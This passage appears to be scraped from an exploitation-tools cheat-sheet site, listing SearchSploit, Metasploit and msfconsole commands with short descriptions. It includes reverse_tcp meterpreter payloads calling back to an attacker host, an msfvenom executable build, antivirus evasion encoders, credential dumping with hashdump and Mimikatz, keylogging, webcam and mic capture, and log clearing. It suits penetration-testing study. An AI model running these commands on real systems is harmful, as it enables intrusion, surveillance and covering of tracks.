/usr/share/exploitdb/ ```bash ls /usr/share/exploitdb/ ``` Manually lists the root directory of the local ExploitDB repository ### ls /usr/share/exploitdb/exploits/windows/remote/ ```bash ls /usr/share/exploitdb/exploits/windows/remote/ ``` Navigates to the raw directory structure to browse Windows remote exploits manually ## Blue Team Intelligence ### searchsploit --cve 2023 | wc -l ```bash searchsploit --cve 2023 | wc -l ``` Counts the total number of public exploits registered for CVEs in the year 2023 ## Paper Analysis ### searchsploit --type papers ```bash searchsploit --type papers ``` Searches exclusively for whitepapers and security research documents ## Shellcode Search ### searchsploit --type shellcode ```bash searchsploit --type shellcode ``` Searches the database specifically for shellcode snippets rather than full exploits ### searchsploit linux --type shellcode ```bash searchsploit linux --type shellcode ``` Finds shellcode specifically designed for Linux environments ## Combined Advanced Search ### searchsploit --strict --platform windows --type local ```bash searchsploit --strict --platform windows --type local ``` Combines strict mode, platform filter, and type filter for precise targeting ## Exploit Copying ### searchsploit -m $(searchsploit wordpress --id | awk '{print $2}') ```bash searchsploit -m $(searchsploit wordpress --id | awk '{print $2}') ``` Advanced shell command to auto-mirror all results from a specific keyword search ## Troubleshooting ### searchsploit --verbose --update ```bash searchsploit --verbose --update ``` Runs the update process in verbose mode to debug connection or git issues ## Legacy Compatibility ### searchsploit --colour --overflow ```bash searchsploit --colour --overflow ``` Ensures readable, colorized output on legacy terminals or narrow displays ## Research Automation ### searchsploit --json | jq . ```bash searchsploit --json | jq . ``` Pipes full database JSON dump to jq for processing (requires jq installed) ## Metasploit Correlation ### searchsploit metasploit ```bash searchsploit metasploit ``` Finds exploits that explicitly mention 'Metasploit' in their title or description ## Specific Author Search ### searchsploit --author "Offensive Security" ```bash searchsploit --author "Offensive Security" ``` Searches for exploits or papers released by a specific author or organization ## Exact Title Search ### searchsploit -t "Microsoft Windows 7" ```bash searchsploit -t "Microsoft Windows 7" ``` Searches for the exact string 'Microsoft Windows 7' appearing in the title field only ## Related tools - [SearchSploit](https://terminal.rokibulroni.com/tool/exploitation/searchsploit) - [Metasploit Framework](https://terminal.rokibulroni.com/tool/exploitation/metasploit) # Tool: Metasploit Framework > The most widely used exploitation framework: thousands of exploits, payloads and post-exploitation modules plus a workspace database. - Category: Exploitation - Commands: 140 - Page: https://terminal.rokibulroni.com/tool/exploitation/metasploit - Homepage: https://www.metasploit.com - Documentation: https://docs.metasploit.com - Tags: exploitation, framework, post-exploitation ## Install - apt: `sudo apt install metasploit-framework` - other: `curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall` ## Core Console Usage ### msfconsole ```bash msfconsole ``` Launches the Metasploit Framework interactive console. ### msfconsole -q ```bash msfconsole -q ``` Starts the console in quiet mode, suppressing the startup banner. ### help ```bash help ``` Displays the main help menu with a list of available commands. ### version ```bash version ``` Shows the current version of the Metasploit Framework. ### history ```bash history ``` Displays a list of previously executed commands in the current session. ### connect ```bash connect ``` Example: ```bash connect 192.168.1.10 80 ``` Uses the built-in Netcat-like utility to connect to a remote host and port. ## Database Management ### db_status ```bash db_status ``` Checks the connection status to the backend database. ### workspace ```bash workspace ``` Lists all available workspaces in the database. ### workspace -a ```bash workspace -a ``` Example: ```bash workspace -a Target_Alpha ``` Creates and switches to a new workspace named Target_Alpha. ### workspace ```bash workspace ``` Example: ```bash workspace Target_Alpha ``` Switches the current active workspace to Target_Alpha. ### db_nmap ```bash db_nmap ``` Example: ```bash db_nmap -sV 192.168.1.10 ``` Runs Nmap within Metasploit and automatically saves results to the database. ### hosts ```bash hosts ``` Lists all hosts found and stored in the current workspace database. ### services ```bash services ``` Lists all services and open ports discovered on stored hosts. ### services -p ```bash services -p ``` Example: ```bash services -p 445 ``` Filters and displays only hosts with port 445 open. ### vulns ```bash vulns ``` Displays vulnerabilities associated with hosts in the database. ### creds ```bash creds ``` Lists all credentials (usernames, passwords, hashes) gathered in the database. ## Module Discovery ### search ```bash search ``` Example: ```bash search eternalblue ``` Searches for modules related to a specific keyword. ### search type ```bash search type ``` Example: ```bash search type:exploit platform:windows ``` Filters search results by module type and target platform. ### search cve ```bash search cve ``` Example: ```bash search cve:2017-0144 ``` Searches for modules matching a specific CVE identifier. ## Module Selection ### use ```bash use ``` Example: ```bash use exploit/windows/smb/ms17_010_eternalblue ``` Selects and loads a specific module for configuration. ### back ```bash back ``` Unloads the current module and returns to the main prompt. ### info ```bash info ``` Displays detailed information, options, and references for the active module. ## Module Configuration ### show options ```bash show options ``` Lists the required and optional parameters for the current module. ### show targets ```bash show targets ``` Lists the operating systems or versions supported by the exploit. ### show payloads ```bash show payloads ``` Lists compatible payloads for the currently selected exploit. ### show advanced ```bash show advanced ``` Displays advanced configuration options for fine-tuning the module. ### set ```bash set ``` Example: ```bash set RHOSTS 192.168.1.10 ``` Configures a specific option (e.g., target IP) for the module. ### setg ```bash setg ``` Example: ```bash setg RHOSTS 192.168.1.10 ``` Sets a global variable that persists across different modules. ### unset ```bash unset ``` Example: ```bash unset RHOSTS ``` Removes the value of a specific option. ### set TARGET ```bash set TARGET ``` Example: ```bash set TARGET 3 ``` Manually selects a specific target ID from the 'show targets' list. ## Payload Configuration ### set PAYLOAD ```bash set PAYLOAD ``` Example: ```bash set PAYLOAD windows/x64/meterpreter/reverse_tcp ``` Assigns a specific payload to be delivered by the exploit. ### set LHOST ```bash set LHOST ``` Example: ```bash set LHOST 192.168.1.50 ``` Sets the local IP address for the payload to connect back to. ### set LPORT ```bash set LPORT ``` Example: ```bash set LPORT 4444 ``` Sets the local listening port for the reverse connection. ## Auxiliary Modules ### use auxiliary ```bash use auxiliary ``` Example: ```bash use auxiliary/scanner/smb/smb_version ``` Selects an auxiliary module used for scanning or enumeration. ### run ```bash run ``` Executes the currently selected auxiliary or post-exploitation module. ## Exploitation ### check ```bash check ``` Attempts to verify if the target is vulnerable without exploiting it. ### exploit ```bash exploit ``` Executes the exploit module against the target. ### exploit -j ```bash exploit -j ``` Runs the exploit in the background as a job. ### exploit -z ```bash exploit -z ``` Exploits the target but keeps the session in the background immediately. ## Job Control ### jobs ```bash jobs ``` Lists currently running background jobs. ### kill ```bash kill ``` Example: ```bash kill 1 ``` Terminates a specific background job by its ID. ## Encoders & Evasion ### show encoders ```bash show encoders ``` Lists available encoders to obfuscate the payload. ### set ENCODER ```bash set ENCODER ``` Example: ```bash set ENCODER x86/shikata_ga_nai ``` Applies a specific encoder to the payload to attempt AV evasion. ### generate ```bash generate ``` Example: ```bash generate -f exe -o shell.exe ``` Generates a payload file (executable) from the current configuration. ## Session Management ### sessions ```bash sessions ``` Lists all active sessions connected to the framework. ### sessions -i ```bash sessions -i ``` Example: ```bash sessions -i 1 ``` Interacts with specific session ID 1. ### sessions -k ```bash sessions -k ``` Example: ```bash sessions -k 2 ``` Kills and terminates session ID 2. ### sessions -u ```bash sessions -u ``` Example: ```bash sessions -u 1 ``` Attempts to upgrade a shell session (ID 1) to a Meterpreter session. ### background ```bash background ``` Moves the current interactive session to the background. ## Meterpreter: Core ### sysinfo ```bash sysinfo ``` Displays system information about the compromised host (OS, Arch, Domain). ### getuid ```bash getuid ``` Displays the user identity that the Meterpreter session is running as. ### getpid ```bash getpid ``` Shows the Process ID (PID) of the current Meterpreter session. ### getprivs ```bash getprivs ``` Lists the privileges available to the current user process. ### ps ```bash ps ``` Lists all running processes on the target system. ### migrate ```bash migrate ``` Example: ```bash migrate 1432 ``` Moves the Meterpreter session into another process ID to ensure persistence. ## Meterpreter: File System ### pwd ```bash pwd ``` Prints the current working directory on the remote target. ### ls ```bash ls ``` Lists files and directories in the current remote folder. ### cd ```bash cd ``` Example: ```bash cd C:\Windows\Temp ``` Changes the directory on the remote target. ### cat ```bash cat ``` Example: ```bash cat config.txt ``` Reads and displays the contents of a file on the remote target. ### lpwd ```bash lpwd ``` Prints the local working directory (on the attacker's machine). ### lcd ```bash lcd ``` Example: ```bash lcd /root/loot ``` Changes the local working directory on the attacker's machine. ### upload ```bash upload ``` Example: ```bash upload /root/tools/nc.exe C:\Windows\Temp\nc.exe ``` Uploads a file from the attacker's machine to the target system. ### download ```bash download ``` Example: ```bash download C:\Users\Alice\Desktop\passwords.txt ``` Downloads a file from the target system to the attacker's machine. ### search ```bash search ``` Example: ```bash search -f *.docx ``` Searches for files matching a pattern on the remote file system. ## Meterpreter: Networking ### ipconfig ```bash ipconfig ``` Displays the network interfaces and IP addresses of the target. ### ifconfig ```bash ifconfig ``` Alternative command to display network interfaces (Linux/Unix). ### netstat ```bash netstat ``` Displays active network connections and listening ports on the target. ### arp ```bash arp ``` Displays the ARP cache of the target system. ### route ```bash route ``` Displays the routing table of the target system. ### portfwd add ```bash portfwd add ``` Example: ```bash portfwd add -l 8080 -p 80 -r 10.10.10.5 ``` Forwards a local port to a remote service through the Meterpreter session. ### portfwd list ```bash portfwd list ``` Lists active port forwarding rules in the current session. ### resolve ```bash resolve ``` Example: ```bash resolve internal.lab.local ``` Resolves a hostname to an IP address on the target network. ## Meterpreter: System Interaction ### shell ```bash shell ``` Drops into a standard system shell (cmd.exe or /bin/bash) on the target. ### execute ```bash execute ``` Example: ```bash execute -f cmd.exe -i -H ``` Executes a command on the remote target, optionally hidden and interactive. ### shutdown ```bash shutdown ``` Shuts down the remote computer (Use with extreme caution). ### reboot ```bash reboot ``` Reboots the remote computer (Use with extreme caution). ## Meterpreter: Credential Harvesting ### getsystem ```bash getsystem ``` Attempts multiple techniques to elevate privileges to SYSTEM/Root. ### hashdump ```bash hashdump ``` Dumps the SAM database contents (password hashes) from the target. ### load kiwi ```bash load kiwi ``` Loads the Kiwi extension (Mimikatz integration) for advanced credential theft. ### creds_all ```bash creds_all ``` Retrieves all available credentials using the Kiwi extension. ## Meterpreter: User Monitoring ### screenshot ```bash screenshot ``` Takes a screenshot of the target's current desktop. ### screenshare ```bash screenshare ``` Streams the target's desktop to a browser on the attacker's machine. ### keyscan_start ```bash keyscan_start ``` Starts the keylogger to capture keystrokes on the target. ### keyscan_dump ```bash keyscan_dump ``` Dumps the captured keystrokes from the memory buffer. ### keyscan_stop ```bash keyscan_stop ``` Stops the keylogger capture process. ### idletime ```bash idletime ``` Displays how long the remote user has been idle. ## Post Exploitation ### use post ```bash use post ``` Example: ```bash use post/windows/gather/enum_applications ``` Selects a post-exploitation module to gather info from a session. ### set SESSION ```bash set SESSION ``` Example: ```bash set SESSION 1 ``` Links a post-exploitation module to an active session ID. ### run post/windows/gather/checkvm ```bash run post/windows/gather/checkvm ``` Checks if the target system is a virtual machine. ### run post/windows/manage/migrate ```bash run post/windows/manage/migrate ``` Automatically migrates the session to a stable process. ### run post/linux/gather/hashdump ```bash run post/linux/gather/hashdump ``` Dumps password hashes from a Linux target shadow file. ### run post/multi/recon/local_exploit_suggester ```bash run post/multi/recon/local_exploit_suggester ``` Suggests local exploits for privilege escalation based on system info. ## Pivoting & Routing ### route add ```bash route add ``` Example: ```bash route add 10.10.10.0 255.255.255.0 1 ``` Routes traffic for the 10.10.10.0 network through session ID 1. ### route print ```bash route print ``` Displays the current routing table within Metasploit. ### run autoroute ```bash run autoroute ``` Example: ```bash run autoroute -s 10.10.10.0/24 ``` Automatically adds a route to a subnet via the current Meterpreter session. ### use auxiliary/server/socks_proxy ```bash use auxiliary/server/socks_proxy ``` Starts a SOCKS proxy to allow external tools to use the pivot. ## Listener Setup ### use exploit/multi/handler ```bash use exploit/multi/handler ``` Sets up a generic listener to catch incoming shell/meterpreter connections. ### set ExitOnSession ```bash set ExitOnSession ``` Example: ```bash set ExitOnSession false ``` Keeps the listener active even after a session is received. ## Logging & Output ### spool ```bash spool ``` Example: ```bash spool log_output.txt ``` Saves all console output to a file for documentation. ### spool off ```bash spool off ``` Stops saving console output to the file. ## Automation & Scripting ### makerc ```bash makerc ``` Example: ```bash makerc startup.rc ``` Saves the commands executed in the current session to a resource file. ### resource ```bash resource ``` Example: ```bash resource startup.rc ``` Executes a list of commands stored in a resource script file. ### msfconsole -r ```bash msfconsole -r ``` Example: ```bash msfconsole -r automated.rc ``` Launches Metasploit and immediately runs the specified resource script. ## Payload Generation ### msfvenom ```bash msfvenom ``` Example: ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe > payload.exe ``` Generates a standalone payload executable from the command line (outside console). ## Advanced ### load ```bash load ``` Example: ```bash load powershell ``` Loads a plugin (e.g., PowerShell) into the Metasploit framework. ### unload ```bash unload ``` Example: ```bash unload kiwi ``` Unloads an active plugin or extension. ### advanced ```bash advanced ``` Shows advanced options for the current module (alias for show advanced). ### edit ```bash edit ``` Opens the currently selected module code in the default text editor. ### reload_all ```bash reload_all ``` Reloads all modules from the disk, useful if you edited a module. ## Cleanup ### clearev ```bash clearev ``` Clears the Application, System, and Security event logs on Windows (Meterpreter). ### timestomp ```bash timestomp ``` Example: ```bash timestomp file.txt -v ``` Manipulates file timestamps (MACE attributes) to hide file modification times. ## Web Exploitation ### load wmap ```bash load wmap ``` Loads the WMAP web application scanning plugin. ### wmap_sites -a ```bash wmap_sites -a ``` Example: ```bash wmap_sites -a http://192.168.1.10 ``` Adds a site to the WMAP target list. ### wmap_targets -t ```bash wmap_targets -t ``` Example: ```bash wmap_targets -t http://192.168.1.10 ``` Sets the target URL for WMAP scanning. ### wmap_run -e ```bash wmap_run -e ``` Runs the WMAP modules against the configured targets. ## Defense Evasion ### set StageEncoder ```bash set StageEncoder ``` Example: ```bash set StageEncoder x86/shikata_ga_nai ``` Encodes the second stage of the payload sent over the network. ### set EnableStageEncoding ```bash set EnableStageEncoding ``` Example: ```bash set EnableStageEncoding true ``` Enables encoding for the payload stage to evade network intrusion detection. ## Exploit Options ### set AutoRunScript ```bash set AutoRunScript ``` Example: ```bash set AutoRunScript post/windows/manage/migrate ``` Specifies a script to run automatically as soon as a session is created. ### set PrependMigrate ```bash set PrependMigrate ``` Example: ```bash set PrependMigrate true ``` Configures the payload to migrate to a new process immediately upon execution. ## Credentials ### db_import ```bash db_import ``` Example: ```bash db_import scan_results.xml ``` Imports scan results from tools like Nessus or Nmap into the database. ## Transport ### transport list ```bash transport list ``` Lists available transport mechanisms (e.g., HTTP, TCP) for the current session. ### transport add ```bash transport add ``` Example: ```bash transport add -t reverse_tcp -l 192.168.1.50 -p 5555 ``` Adds a secondary transport layer to a Meterpreter session for redundancy. ### transport next ```bash transport next ``` Forces the Meterpreter session to switch to the next available transport. ## Extensions ### load python ```bash load python ``` Loads the Python extension to run Python scripts within Meterpreter. ## Debugging ### debug ```bash debug ``` Enables debugging output for troubleshooting module issues. ## Ruby Interaction ### irb ```bash irb ``` Drops into an interactive Ruby shell within the current session context. ## Payloads ### set HandlerSSLCert ```bash set HandlerSSLCert ``` Example: ```bash set HandlerSSLCert /path/to/cert.pem ``` Uses a custom SSL certificate for HTTPS listeners to mimic legitimate traffic. ## Pivoting ### portfwd delete ```bash portfwd delete ``` Example: ```bash portfwd delete -l 8080 ``` Removes a specific port forwarding rule. ### portfwd flush ```bash portfwd flush ``` Removes all active port forwarding rules. ## Enumeration ### run post/windows/gather/enum_patches ```bash run post/windows/gather/enum_patches ``` Enumerates installed patches on a Windows target to identify missing updates. ### run post/windows/gather/enum_shares ```bash run post/windows/gather/enum_shares ``` Lists network shares available on the target system. ### run post/multi/gather/env ```bash run post/multi/gather/env ``` Reads the environment variables from the target system. ## Exploitation ### set ForceExploit ```bash set ForceExploit ``` Example: ```bash set ForceExploit true ``` Forces the exploit to run even if the check determines the target is not vulnerable. ## General ### notes ```bash notes ``` Displays any notes manually added to the database regarding hosts. ### loot ```bash loot ``` Lists all gathered loot (hashes, files) stored in the database. ## Meterpreter: Incognito ### load incognito ```bash load incognito ``` Loads the Incognito extension for token manipulation. ### list_tokens -u ```bash list_tokens -u ``` Lists available delegation and impersonation tokens by user. ### impersonate_token ```bash impersonate_token ``` Example: ```bash impersonate_token "DOMAIN\Administrator" ``` Impersonates the specified user token to escalate privileges. ## Cleanup ### rm ```bash rm ``` Example: ```bash rm C:\Windows\Temp\payload.exe ``` Deletes a file on the remote system (Standard Meterpreter command). ## Termination ### exit ```bash exit ``` Exits the Metasploit console. ## Related tools - [msfconsole](https://terminal.rokibulroni.com/tool/exploitation/msfconsole) - [msfvenom](https://terminal.rokibulroni.com/tool/exploitation/msfvenom) - [SearchSploit](https://terminal.rokibulroni.com/tool/exploitation/searchsploit) - [Sliver](https://terminal.rokibulroni.com/tool/exploitation/sliver) # Tool: msfconsole > The interactive console for Metasploit: search, configure and run modules, manage sessions and work with the database. - Category: Exploitation - Commands: 140 - Page: https://terminal.rokibulroni.com/tool/exploitation/msfconsole - Homepage: https://www.metasploit.com - Documentation: https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html - Tags: Metasploit, console, sessions ## Install - apt: `sudo apt install metasploit-framework` ## Console Startup ### msfconsole ```bash msfconsole ``` Launches the Metasploit Framework interactive console ### msfconsole -q ```bash msfconsole -q ``` Starts the console in quiet mode without displaying the banner ### msfconsole -r ```bash msfconsole -r ``` Example: ```bash msfconsole -r setup.rc ``` Starts the console and executes a resource script containing automated commands ## Global Help and Documentation ### help ```bash help ``` Displays the main help menu with available core commands ### help ```bash help ``` Example: ```bash help search ``` Displays specific usage instructions for a particular command ### version ```bash version ``` Shows the currently installed version of the Metasploit Framework ## Global Navigation ### history ```bash history ``` Displays the list of previously executed commands in the current session ### connect ```bash connect ``` Example: ```bash connect 192.168.1.10 80 ``` Connects to a remote host and port like netcat/telnet for verification ## Database Management ### db_status ```bash db_status ``` Checks the connection status to the backend PostgreSQL database ### workspace ```bash workspace ``` Lists all available workspaces ### workspace -a ```bash workspace -a ``` Example: ```bash workspace -a RedTeamLab ``` Creates and switches to a new isolated workspace ### workspace ```bash workspace ``` Example: ```bash workspace RedTeamLab ``` Switches the active context to an existing workspace ## Importing External Scan Results ### db_import ```bash db_import ``` Example: ```bash db_import /path/to/nessus_scan.nessus ``` Imports scan results from tools like Nmap, Nessus, or Qualys into the database ## Database Management ### db_nmap ```bash db_nmap ``` Example: ```bash db_nmap -sV -p 445 192.168.1.0/24 ``` Runs Nmap wrapper and automatically saves results to the database ## Hosts and Services ### hosts ```bash hosts ``` Lists all hosts discovered in the current workspace ### hosts -c ```bash hosts -c ``` Example: ```bash hosts -c address,os_name ``` Lists hosts displaying only specific columns ### services ```bash services ``` Lists all services discovered on stored hosts ### services -p ```bash services -p ``` Example: ```bash services -p 445 ``` Filters and displays only services running on a specific port ### vulns ```bash vulns ``` Displays all vulnerabilities recorded for the targets in the database ## Module Discovery ### search ```bash search ``` Example: ```bash search smb ``` Searches for modules related to a keyword ### search type ```bash search type ``` Example: ```bash search type:exploit platform:windows ``` Filters search results by module type and target platform ### search cve ```bash search cve ``` Example: ```bash search cve:2017-0144 ``` Searches for modules matching a specific CVE identifier ### search author ```bash search author ``` Example: ```bash search author:rapid7 ``` Searches for modules written by a specific author ## Module Selection ### use ```bash use ``` Example: ```bash use exploit/windows/smb/ms17_010_eternalblue ``` Selects a specific module to configure and execute ### use ```bash use ``` Example: ```bash use 0 ``` Selects a module by its index number from the previous search results ## Module Information ### info ```bash info ``` Displays detailed information about the currently selected module ### info -d ```bash info -d ``` Displays the documentation and references for the module in markdown format ## Module Configuration ### show options ```bash show options ``` Lists the basic configurable options for the active module ### show advanced ```bash show advanced ``` Displays advanced options for fine-tuning the module behavior ### show targets ```bash show targets ``` Lists the available target systems/versions for the exploit ### show evasion ```bash show evasion ``` Shows options specifically designed to evade IDS/IPS and antivirus ### set ```bash set ``` Example: ```bash set RHOSTS 192.168.1.10 ``` Sets a value for a specific option in the current module context ### setg ```bash setg ``` Example: ```bash setg RHOSTS 192.168.1.0/24 ``` Sets a global variable that persists across different module selections ### unset ```bash unset ``` Example: ```bash unset RHOSTS ``` Removes the value of a specific option ### unsetg ```bash unsetg ``` Example: ```bash unsetg RHOSTS ``` Removes a global variable ## Payload Selection ### show payloads ```bash show payloads ``` Lists compatible payloads for the currently selected exploit ### set payload ```bash set payload ``` Example: ```bash set payload windows/x64/meterpreter/reverse_tcp ``` Selects the specific payload to deliver upon successful exploitation ## Payload Configuration ### set LHOST ```bash set LHOST ``` Example: ```bash set LHOST 10.10.10.5 ``` Sets the listening address (attacker IP) for the reverse connection ### set LPORT ```bash set LPORT ``` Example: ```bash set LPORT 4444 ``` Sets the listening port on the attacker machine ### generate ```bash generate ``` Example: ```bash generate -f exe -o payload.exe ``` Generates a standalone payload file based on current configurations ## Encoding and Evasion ### show encoders ```bash show encoders ``` Lists available encoders to obfuscate the payload ### set ENCODER ```bash set ENCODER ``` Example: ```bash set ENCODER x86/shikata_ga_nai ``` Applies a specific encoder to the payload ## Exploit Execution ### check ```bash check ``` Validates if the target is vulnerable without actually exploiting it ### exploit ```bash exploit ``` Executes the exploit module against the target ### run ```bash run ``` Alias for exploit, often used with auxiliary and post modules ### exploit -j ```bash exploit -j ``` Runs the exploit in the context of a background job ### exploit -z ```bash exploit -z ``` Exploits the target but does not interact with the session immediately ## Background Jobs ### jobs ```bash jobs ``` Lists all currently running background jobs ### jobs -k ```bash jobs -k ``` Example: ```bash jobs -k 1 ``` Terminates a specific background job by its ID ### kill ```bash kill ``` Example: ```bash kill 1 ``` Kills a running job (alias for jobs -k) ## Handler Management ### handler ```bash handler ``` Example: ```bash handler -H 10.10.10.5 -P 4444 -p windows/meterpreter/reverse_tcp ``` Quickly starts a payload handler without using the multi/handler module ## Session Management ### sessions ```bash sessions ``` Lists all active open sessions ### sessions -i ```bash sessions -i ``` Example: ```bash sessions -i 1 ``` Interacts with a specific session ID, entering the shell or meterpreter ### sessions -u ```bash sessions -u ``` Example: ```bash sessions -u 1 ``` Attempts to upgrade a basic shell session to a full Meterpreter session ### sessions -k ```bash sessions -k ``` Example: ```bash sessions -k 1 ``` Kills a specific active session ## Meterpreter Core ### sysinfo ```bash sysinfo ``` Displays information about the remote system, OS, and architecture ### getuid ```bash getuid ``` Displays the user the server is running as ### getsystem ```bash getsystem ``` Attempts to elevate privileges to SYSTEM using various techniques ### background ```bash background ``` Backgrounds the current meterpreter session returning to msfconsole ## Meterpreter File System ### pwd ```bash pwd ``` Prints the current working directory on the remote machine ### ls ```bash ls ``` Lists files in the current remote directory ### cd ```bash cd ``` Example: ```bash cd C:\Users ``` Changes the current directory on the remote machine ### cat ```bash cat ``` Example: ```bash cat flags.txt ``` Displays the contents of a file on the remote system ### upload ```bash upload ``` Example: ```bash upload /usr/share/tools/nc.exe C:\Windows\Temp\nc.exe ``` Uploads a file from the attacker to the victim machine ### download ```bash download ``` Example: ```bash download C:\Windows\System32\config\SAM /tmp/SAM ``` Downloads a file from the victim to the attacker machine ### edit ```bash edit ``` Example: ```bash edit hosts.txt ``` Opens a file on the remote system in the local editor (vim) ### search -f ```bash search -f ``` Example: ```bash search -f *.kdbx ``` Searches the file system for files matching a pattern ## Meterpreter Process Mgmt ### ps ```bash ps ``` Lists running processes on the remote system ### getpid ```bash getpid ``` Gets the process ID of the current meterpreter injection ### migrate ```bash migrate ``` Example: ```bash migrate 1432 ``` Moves the meterpreter session into another running process ID ### execute ```bash execute ``` Example: ```bash execute -f cmd.exe -i -H ``` Executes a command on the remote system, optionally hidden ### kill ```bash kill ``` Example: ```bash kill 4402 ``` Terminates a process on the remote system by PID ## Meterpreter Network ### ipconfig ```bash ipconfig ``` Displays network interfaces and IP addresses on the target ### ifconfig ```bash ifconfig ``` Alias for ipconfig ### netstat ```bash netstat ``` Displays network connections and listening ports on the target ### arp ```bash arp ``` Displays the ARP cache of the remote system ### route ```bash route ``` Displays the routing table of the remote system ## Meterpreter Pivoting ### portfwd add ```bash portfwd add ``` Example: ```bash portfwd add -l 3389 -p 3389 -r 10.10.10.50 ``` Forwards a local port to a remote service through the meterpreter session ### portfwd list ```bash portfwd list ``` Lists active port forwarding rules ## Console Pivoting ### route add ```bash route add ``` Example: ```bash route add 10.10.10.0 255.255.255.0 1 ``` Routes traffic for a subnet through a specific session ID ### route print ```bash route print ``` Displays the active routing table in msfconsole ## Meterpreter System ### shell ```bash shell ``` Drops into a standard system command shell (cmd or bash) ### idletime ```bash idletime ``` Displays how long the user has been idle ### reboot ```bash reboot ``` Reboots the remote system ### shutdown ```bash shutdown ``` Shuts down the remote system ## Credential Access ### hashdump ```bash hashdump ``` Dumps the contents of the SAM database (password hashes) ### creds_all ```bash creds_all ``` Dumps all retrieved credentials (plaintext and hashes) via kiwi extension ## Input Capture ### keyscan_start ```bash keyscan_start ``` Starts the keylogger on the remote system ### keyscan_dump ```bash keyscan_dump ``` Dumps the captured keystrokes ### keyscan_stop ```bash keyscan_stop ``` Stops the keylogger ## Surveillance ### screenshot ```bash screenshot ``` Takes a screenshot of the remote desktop ### screenshare ```bash screenshare ``` Watches the remote desktop in real-time via web browser ### webcam_list ```bash webcam_list ``` Lists available webcams on the target ### webcam_snap ```bash webcam_snap ``` Takes a picture using the remote webcam ### record_mic ```bash record_mic ``` Example: ```bash record_mic -d 10 ``` Records audio from the default microphone for X seconds ## Anti-Forensics ### timestomp ```bash timestomp ``` Example: ```bash timestomp file.txt -z ``` Manipulates file MACE attributes (timestamp) ### clearev ```bash clearev ``` Clears the Application, System, and Security event logs on Windows ## Post Exploitation Selection ### use post ```bash use post ``` Example: ```bash use post/windows/gather/enum_patches ``` Selects a post-exploitation module ## Post Exploitation Configuration ### set SESSION ```bash set SESSION ``` Example: ```bash set SESSION 1 ``` Target a specific active session for the post module ## Post Exploitation Execution ### run ```bash run ``` Executes the post-exploitation module against the session ## Auxiliary Scanners ### use auxiliary ```bash use auxiliary ``` Example: ```bash use auxiliary/scanner/smb/smb_version ``` Selects an auxiliary scanning module ### run ```bash run ``` Runs the scanner ## Local Exploit Suggester ### use post/multi/recon/local_exploit_suggester ```bash use post/multi/recon/local_exploit_suggester ``` Checks the session for missing patches and suggests local exploits ## Socks Proxy ### use auxiliary/server/socks_proxy ```bash use auxiliary/server/socks_proxy ``` Sets up a SOCKS proxy to pivot external tools through MSF sessions ## Loot Management ### loot ```bash loot ``` Lists all collected loot (hashes, files, keys) ### loot -t ```bash loot -t ``` Example: ```bash loot -t hash ``` Lists loot filtered by type ## Credential Management ### creds ```bash creds ``` Lists all credentials stored in the database ### creds -a ```bash creds -a ``` Example: ```bash creds -a user:pass ``` Manually adds a credential to the database ## Automation ### makerc ```bash makerc ``` Example: ```bash makerc setup.rc ``` Saves all commands executed in the current session to a resource file ### resource ```bash resource ``` Example: ```bash resource setup.rc ``` Executes a resource script file containing msfconsole commands ### setg ```bash setg ``` Example: ```bash setg Prompt %T ``` Customizes the console prompt (e.g., adding timestamps) ## Logging ### spool ```bash spool ``` Example: ```bash spool /tmp/msf_log.txt ``` Starts logging all console output to a file ### spool off ```bash spool off ``` Stops logging console output ## Module Editing ### edit ```bash edit ``` Opens the currently selected module code in the default editor ## Developer ### reload_all ```bash reload_all ``` Reloads all modules from disk (useful when developing custom modules) ## Payload Generation ### use payload ```bash use payload ``` Example: ```bash use payload/windows/meterpreter/reverse_tcp ``` Selects a payload module directly for generation ### to_handler ```bash to_handler ``` Creates a handler for the currently selected payload module ## Cleanup ### unset all ```bash unset all ``` Unsets all options for the current module ## Advanced Option ### set VERBOSE ```bash set VERBOSE ``` Example: ```bash set VERBOSE true ``` Enables verbose output for more detailed execution logs ### set WfsDelay ```bash set WfsDelay ``` Example: ```bash set WfsDelay 10 ``` Sets the wait-for-session delay in seconds for slow exploits ### set AutoRunScript ```bash set AutoRunScript ``` Example: ```bash set AutoRunScript post/windows/manage/migrate ``` Automatically runs a script upon successful session creation ### set PrependMigrate ```bash set PrependMigrate ``` Example: ```bash set PrependMigrate true ``` Automatically migrates the payload process immediately after exploitation ### set ExitOnSession ```bash set ExitOnSession ``` Example: ```bash set ExitOnSession false ``` Keeps the listener open even after a session is created ### set StagerBlockSize ```bash set StagerBlockSize ``` Example: ```bash set StagerBlockSize 8192 ``` Adjusts the block size for staging payloads to evade some IPS signatures ## Module Type ### show nop ```bash show nop ``` Lists NOP (No Operation) generators for buffer padding ## Red Team Workflow ### use evasion ```bash use evasion ``` Example: ```bash use evasion/windows/windows_defender_exe ``` Selects an evasion module designed to bypass AV/EDR ## Wait Command ### sleep ```bash sleep ``` Example: ```bash sleep 5 ``` Pauses execution for a specified number of seconds (useful in scripts) ## Ruby Execution ### irb ```bash irb ``` Drops into an interactive Ruby shell within the console context ## Target Management ### db_rebuild_cache ```bash db_rebuild_cache ``` Rebuilds the module search cache in the background ## Notes ### notes ```bash notes ``` Lists notes attached to hosts in the database ### notes -a ```bash notes -a ``` Example: ```bash notes -a "DC Server" ``` Adds a manual note to a specific host ## Configuration ### save ```bash save ``` Saves the current global options and settings to the config file ## Console Interface ### color ```bash color ``` Example: ```bash color false ``` Disables color output in the console ## Host Management ### hosts -d ```bash hosts -d ``` Example: ```bash hosts -d 192.168.1.10 ``` Deletes a specific host from the database ## Service Management ### services -u ```bash services -u ``` Example: ```bash services -uup ``` Lists only services that are currently up/running ## Search ### search -S ```bash search -S ``` Example: ```bash search -S keyword ``` Searches strictly for the query string ## Meterpreter Extension ### load kiwi ```bash load kiwi ``` Loads the Kiwi (Mimikatz) extension in Meterpreter ### load python ```bash load python ``` Loads the Python extension to run python code in memory ### load powershell ```bash load powershell ``` Loads the PowerShell extension to run PS scripts in memory ## Console Termination ### exit ```bash exit ``` Exits the Metasploit console ## Related tools - [Metasploit Framework](https://terminal.rokibulroni.com/tool/exploitation/metasploit) - [msfvenom](https://terminal.rokibulroni.com/tool/exploitation/msfvenom) # Tool: msfvenom > Metasploit’s payload generator and encoder: builds shellcode, executables and scripts for many platforms and formats. - Category: Exploitation - Commands: 75 - Page: 